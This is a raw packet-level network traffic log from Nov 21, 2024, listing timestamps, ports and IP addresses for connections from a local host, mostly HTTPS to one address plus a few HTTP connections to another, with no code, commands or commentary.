Nov 21, 2024 03:08:58.640814066 CET	443	49783	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.640819073 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.640954018 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.640994072 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.641093016 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.641104937 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.641125917 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.641211987 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.641227007 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.643151045 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.643191099 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.643275976 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.643304110 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.643352985 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.643506050 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.643518925 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.643543005 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.643563032 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.643572092 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.643580914 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.643584967 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.645945072 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.645987034 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.646055937 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.646269083 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.646286964 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.755855083 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.755928993 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.756007910 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.756289959 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.756309032 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.756319046 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.756325006 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.759603024 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.759649992 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:08:58.759757996 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.759967089 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:08:58.759983063 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.354898930 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.355573893 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.355606079 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.356093884 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.356098890 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.357795954 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.358055115 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.358086109 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.358464956 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.358470917 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.427712917 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.428301096 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.428328991 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.428774118 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.428781033 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.476886988 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.484534979 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.484577894 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.485002041 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.485008955 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.497112989 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.497621059 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.497699976 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.498012066 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.498028040 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.791954994 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.792045116 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.792416096 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.792416096 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.792416096 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795126915 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.795152903 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.795208931 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.795237064 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795295954 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795387983 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795444965 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.795531988 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795566082 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795584917 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.795595884 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795602083 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.795670986 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.795685053 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.797890902 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.797935009 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.798027992 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.798182011 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.798192024 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.872662067 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.872764111 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.872819901 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.873033047 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.873048067 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.876182079 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.876235962 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.876295090 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.876486063 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.876502991 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.919116020 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.919169903 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.919226885 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.919264078 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.919630051 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.919658899 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.919665098 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.919686079 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.919816017 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.919846058 CET	443	49790	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.919895887 CET	49790	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.921900034 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.921926022 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.921982050 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.922110081 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.922116995 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.956628084 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.956654072 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.956710100 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.956736088 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.956841946 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.956856966 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.956866980 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.957056046 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.957097054 CET	443	49789	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.957144976 CET	49789	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.959465981 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.959484100 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:00.959557056 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.959700108 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:00.959713936 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:01.099062920 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:01.099096060 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.638560057 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.639091015 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.639106989 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.639604092 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.639609098 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.659573078 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.659989119 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.660001040 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.660511971 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.660517931 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.669147015 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.669528961 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.669545889 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.669950008 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.669955015 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.708960056 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.709302902 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.709317923 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.709717035 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.709722996 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.741796970 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.742207050 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.742219925 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:02.742609024 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:02.742613077 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.099572897 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.099594116 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.099668026 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.099726915 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.099972010 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.099972010 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.100012064 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.100198030 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.100234032 CET	443	49791	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.100281000 CET	49791	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.102638006 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.102730036 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.102817059 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.102957010 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.102988958 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.105084896 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.108253002 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.108374119 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.108513117 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.108545065 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.108558893 CET	49793	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.108566999 CET	443	49793	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.110522032 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.110579014 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.110682011 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.110845089 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.110872984 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.123702049 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.126581907 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.126650095 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.126702070 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.126720905 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.126739025 CET	49792	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.126746893 CET	443	49792	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.128869057 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.128906965 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.128995895 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.129149914 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.129175901 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.160691977 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.163777113 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.163872957 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.163945913 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.163965940 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.163980007 CET	49794	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.163985968 CET	443	49794	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.166970968 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.167068005 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.167155027 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.167289019 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.167339087 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.185336113 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.188465118 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.188520908 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.188596964 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.188608885 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.188617945 CET	49795	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.188622952 CET	443	49795	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.190596104 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.190622091 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:03.190696001 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.190850019 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:03.190860987 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.365849972 CET	49801	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:04.485445023 CET	80	49801	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:04.485573053 CET	49801	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:04.485786915 CET	49801	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:04.605309963 CET	80	49801	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:04.823112011 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.823755980 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.823770046 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.824148893 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.824155092 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.837522030 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.837868929 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.837886095 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.838248968 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.838255882 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.845349073 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.845621109 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.845647097 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.845947027 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.845952034 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.902575016 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.902981997 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.903006077 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.903400898 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.903407097 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.955413103 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.958086014 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.958098888 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:04.958493948 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:04.958498001 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.258001089 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.258120060 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.258213043 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.258312941 CET	49796	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.258335114 CET	443	49796	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.261492968 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.261533022 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.261626005 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.261801004 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.261812925 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.280827045 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.283973932 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.285584927 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.285617113 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.285629034 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.285639048 CET	49798	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.285645962 CET	443	49798	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.288311005 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.288366079 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.288436890 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.288568020 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.288582087 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.293956041 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.296914101 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.297013998 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.297929049 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.297945976 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.297959089 CET	49800	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.297965050 CET	443	49800	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.300312996 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.300348043 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.300453901 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.300558090 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.300570011 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.349360943 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.352432013 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.352525949 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.352590084 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.352608919 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.352618933 CET	49797	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.352623940 CET	443	49797	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.354660034 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.354692936 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.354753971 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.354866028 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.354881048 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.399296999 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.402400017 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.402462006 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.402523994 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.402530909 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.402539968 CET	49799	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.402543068 CET	443	49799	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.404723883 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.404756069 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.404890060 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.405024052 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:05.405036926 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:05.886358023 CET	80	49801	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:05.886440039 CET	49801	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:06.985862017 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:06.986264944 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:06.986284018 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:06.986700058 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:06.986706972 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.025237083 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.025674105 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.025684118 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.026112080 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.026115894 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.070784092 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.071170092 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.071194887 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.071432114 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:07.071470976 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:07.071540117 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:07.071686983 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.071693897 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.071846008 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:07.071861982 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:07.073374033 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.073647022 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.073654890 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.074007988 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.074012041 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.252851963 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.253388882 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.253408909 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.253865004 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.253870010 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.396706104 CET	49801	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:07.397021055 CET	49808	80	192.168.2.5	185.215.113.43
